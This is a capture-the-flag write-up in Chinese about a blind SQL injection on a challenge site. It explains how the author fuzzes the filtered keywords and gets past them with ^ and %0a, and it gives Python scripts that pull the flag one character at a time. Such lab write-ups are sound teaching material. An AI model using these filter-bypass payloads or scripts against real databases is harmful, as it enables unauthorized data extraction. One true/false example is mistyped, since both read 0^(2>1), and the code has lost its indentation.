题目地址:http://polarlicht.xyz:8302/
寻找注入点
只有一个输入框,抓包看是post提交。
依次输入
- ‘ => bool(false)
- and 1=1 => SQL Injection Checked.
- 2 => 显示正常
- 3 => Error Occured When Fetch Result.
看起来有过滤,先fuzz下过滤了哪些关键词,利用intrude模块:
(下载了一份fuzz dict: dictionary-master)
使用 sql_fuzz.txt 字典
可以看到,被过滤的关键字返回长度485。and/or/ord/union/xor/%20 都被过滤了。
但是 ascii/regexp/substr等函数都没过滤。xor被过滤,但是 ^/|/= 没有过滤,所以可以构造一个true表达式:
0^(2>1) => Hello this is Aurora
0^(2>1) => Error Occured When Fetch Result.
因此,注入点就是:
0^(TRUE表达式) => 返回 Hello this is Auro
0^(False表达式) => 返回 Error Occured When Fetch Result.
构造注入语句
这里以ascii为例,参考:https://www.anquanke.com/post/id/160584#h2-11
ascii(mid((password)from(i)))>j
这个语句中,涉及到mysql的 mid 和 ascii 函数
mid函数的使用方法:
正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
MID(str,pos,len)
这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,from(0)是没有值的。for(1)表示从改位置起一次就截取一个字符,本题for被过滤了。
对应的构造select语句:
select flag from flag //要返回str,要求flag表只有一行
mid((select flag from flag )from(1)) // 获取第一个
ascii(mid((select flag from flag )from(1)))=102 // ascii(‘flag‘) 默认只返回f的ascii值,f对应102
ascii(mid((select%0aflag%0afrom%0aflag)from(1)))=102 // 绕过空格过滤
正常显示 id=1 的内容,说明答案的第一个字符是f。
编写 exp 程序
知道了注入点,剩下的就是自动化。
先在python里面验证下,发现同样的payload,在burp可以,代码却不行。唯一的原因就在 %0a 这个编码的地方了。
参考这篇文章:https://blog.csdn.net/M1mory/article/details/58309378
加上代理,自己在burp可以看到requests发包的情况,还要加上 content-type 头部,否则无返回信息
基于此,写出exp代码:
import requests
dict = "fabcdeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_1234567890{}"
url = "http://polarlicht.xyz:8302/index.php"
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxy = {"http" : ‘http://127.0.0.1:8080‘}
ret = []
for i in range(1,20):
for c in dict:
payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(str(i), str(ord(c)))
r = requests.post(url, data=payload, headers=headers, proxies = proxy)
if len(r.text) == 299:
ret.append(c)
print("[%d]%s=>%s\t%s" % (i, c, len(r.text), payload))
print(‘‘.join(ret))
这段代码速度太慢,用二分法进行代码优化:
import requests
url = "http://polarlicht.xyz:8302/index.php"
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxy = {"http" : ‘http://127.0.0.1:8080‘}
def check(i, index):
payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(i, index)
r = requests.post(url, data=payload, proxies=proxy, headers = headers)
if r.text.find(‘Hello‘) >= 0:
return 0
payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))>{1})".format(i, index)
r = requests.post(url, data=payload, proxies=proxy, headers=headers)
if r.text.find(‘Hello‘) >= 0:
return 1
return -1
# 二分实现
mids = []
for i in range(1, 20):
# ascii 可显示字符是33到126
start = 33
end = 126
mid = (start + end) // 2
while start <= mid:
if check(i, mid) == 0:
mids.append(mid)
break
if check(i, mid) > 0:
start = mid
mid = (start + end) // 2
else:
end = mid
mid = (start + end) // 2
tmp = "start=>{0},mid={1},end={2}".format(start,mid,end)
print(‘‘.join(chr(x) for x in mids))